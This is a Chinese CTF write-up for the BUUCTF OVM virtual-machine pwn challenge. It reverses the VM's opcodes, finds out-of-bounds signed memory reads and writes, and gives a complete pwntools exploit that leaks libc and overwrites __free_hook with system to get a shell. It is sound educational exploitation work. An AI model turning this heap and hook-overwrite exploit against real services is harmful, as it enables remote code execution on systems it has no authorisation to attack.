VMpwn:buuctf-[OGeek2019 Final]OVM
转载需标明出处!
做的第一道vmpwn,眼睛快看瞎了
逆向
关键点在下面不断获取指令然后运行指令
在执行指令的过程中可以发现是取参数的四个字节分别来操作
硬逆,逆出来可以得到vm实现了如下伪汇编指令
0x10 : reg[num1] = target lowest
0x20 : reg[num1] = target == 0
0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
0x50 : (push) stack[(signed int)op] = reg[num1]
0x60 : (pop) reg[num1] = stack[reg[13]]
0x70 : (add) reg[num1] = reg[num3] + reg[num2]
0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
0x90 : (and) reg[num1] = reg[num3] & reg[num2]
0xA0 : (or) reg[num1] = reg[num3] | reg[num2]
0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]
0xC0 : (<<) reg[num1] = reg[num2] << reg[num3]
0xD0 : (>>) reg[num1] = reg[num2] >> reg[num3]
0xFF : (exit or print) if(reg[13] != 0) print oper
漏洞位于这两个位置,0x30和0x40分别实现了读和写的功能,但是没有验证范围,即有符号数可以正常解析,可以越界读写虚拟机的模拟内存
(用的movsxd)
最后程序退出后可以向之前程序一开始的位置申请的chunk中写入内容,同时写入内容后程序会free掉这个堆块
逆向过程到此结束
思路与调试过程
程序有越界漏洞,我们观察bss,可以发现stdin在memory-0xe0的位置,由于memory的每个大小是双字,即stdin = memory[-56]
我们可以将memory[-56]的内容利用read功能写入寄存器,调试一下观察__free_hook-0x8的位置在stdin+0x1090处,所以我们得以泄漏地址
泄漏完由于寄存器保留着这个地址,而且comment = memory[-8]的位置,我们利用写功能,将寄存器的值写入到memory[-8]的位置,即可将原来的chunk指针改变为__free_hook - 0x8的地方
最后向__free_hook写入payload,完成虚拟机逃逸
注意的点是由于虚拟机模拟的单位内存是0x4个字节,所以泄漏和写入要分为两次进行,将低4字节存到一个寄存器里,将高2字节(memory[-55])再存到一个寄存器里,写入的时候也同理
低四字节 --> memory[-8],高二字节 --> memory[-7]
同时利用程序提供的虚拟指令来构造数据即可
调试过程:
1.成功将真实内存值写入虚拟寄存器
2.成功将虚拟寄存器的值写入真实内存地址
最后getshell
exp
from pwn import *
local = 0
'''
author: lemon
time: 2020-11-15
libc: libc-2.23.so
python version: 2.7
'''
binary = "./pwn"
libc_path = '../libc-2.23.so'
port = "29113"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
'''
0x10 : reg[num1] = target lowest
0x20 : reg[num1] = target == 0
0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
0x50 : (push) stack[(signed int)op] = reg[num1]
0x60 : (pop) reg[num1] = stack[reg[13]]
0x70 : (add) reg[num1] = reg[num3] + reg[num2]
0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
0x90 : (and) reg[num1] = reg[num3] & reg[num2]
0xA0 : (or) reg[num1] = reg[num3] | reg[num2]
0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]
0xC0 : (<<) reg[num1] = reg[num2] << reg[num3]
0xD0 : (>>) reg[num1] = reg[num2] >> reg[num3]
0xFF : (exit or print) if(reg[13] != 0) print oper
'''
# 0x10 : reg[num1] = target lowest
def set_number(n1,n3):
return u32((p8(0x10) + p8(n1) + p8(0) + p8(n3))[::-1])
# 0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
def read(n1,n3):
return u32((p8(0x30) + p8(n1) + p8(0) + p8(n3))[::-1])
# 0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
def write(n1,n3):
return u32((p8(0x40) + p8(n1) + p8(0) + p8(n3))[::-1])
# 0xC0 : (<<) reg[num1] = reg[num2] << reg[num3]
def left(n1,n2,n3):
return u32((p8(0xc0) + p8(n1) + p8(n2) + p8(n3))[::-1])
# 0xD0 : (>>) reg[num1] = reg[num2] >> reg[num3]
def right(n1,n2,n3):
return u32((p8(0xd0) + p8(n1) + p8(n2) + p8(n3))[::-1])
# 0x70 : (add) reg[num1] = reg[num3] + reg[num2]
def add(n1,n2,n3):
return u32((p8(0x70) + p8(n1) + p8(n2) + p8(n3))[::-1])
# 0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
def sub(n1,n2,n3):
return u32((p8(0x80) + p8(n1) + p8(n2) + p8(n3))[::-1])
# 0x90 : (and) reg[num1] = reg[num3] & reg[num2]
def And(n1,n2,n3):
return u32((p8(0x90) + p8(n1) + p8(n2) + p8(n3))[::-1])
# 0xA0 : (or) reg[num1] = reg[num3] | reg[num2]
def Or(n1,n2,n3):
return u32((p8(0xa0) + p8(n1) + p8(n2) + p8(n3))[::-1])
# 0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]
def Xor(n1,n2,n3):
return u32((p8(0xb0) + p8(n1) + p8(n2) + p8(n3))[::-1])
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['__free_hook']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
memory = 0x202060
reg = 0x242060
stack = 0x2420A0
comment = 0x202040
stdin = memory - 0xe0
offset = -56 # 0xffffffC8
# reg[num3] = -56 = 0xffffffC8
set_number(3,0xff)
set_number(0,0x8)
left(3,3,0) # 0xff00
set_number(2,0xff)
add(3,3,2) # 0xffff
left(3,3,0) # 0xffff00
add(3,3,2) # 0xffffff
left(3,3,0) # 0xffffff00
set_number(2,0xc8)
add(3,3,2)
read(0,3) # reg[0] = memory[reg[3]] = memory[-56]
set_number(2,1)
add(3,3,2)
read(1,3)
offset_free_hook_stdin = 0x1090
set_number(5,0x10)
set_number(6,0x8)
left(5,5,6) # reg[5] = 0x1000
set_number(6,0x90)
add(5,5,6)
add(0,0,5)
set_number(6,47)
add(3,3,6)
write(0,3)
set_number(6,1)
add(3,3,6)
write(1,3)
code = [
set_number(3,0xff),
set_number(0,0x8),
left(3,3,0),
set_number(2,0xff),
add(3,3,2),
left(3,3,0),
add(3,3,2),
left(3,3,0),
set_number(2,0xc8),
add(3,3,2),
read(0,3),
set_number(2,1),
add(3,3,2),
read(1,3),
set_number(5,0x10),
set_number(6,0x8),
left(5,5,6),
set_number(6,0x90),
add(5,5,6),
add(0,0,5),
set_number(6,47),
add(3,3,6),
write(0,3),
set_number(6,1),
add(3,3,6),
write(1,3),
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])
]
p.sendlineafter('PCPC: ',str(0))
p.sendlineafter('SP: ',str(1))
p.sendlineafter('CODE SIZE: ',str(len(code)))
p.recvuntil('CODE: ')
for i in code:
p.sendline(str(i))
p.recvuntil("R0: ")
low_4 = int(p.recv(8),16)
p.recvuntil("R1: ")
high_2 = int(p.recv(4),16)
temp = high_2 << 32
leak = temp + low_4 + 8
log.success("LEAK:{}".format(hex(leak)))
leak_libc(leak)
# dbg()
payload = "/bin/sh\x00" + p64(system)
p.send(payload)
# gdb.attach(p)
p.interactive()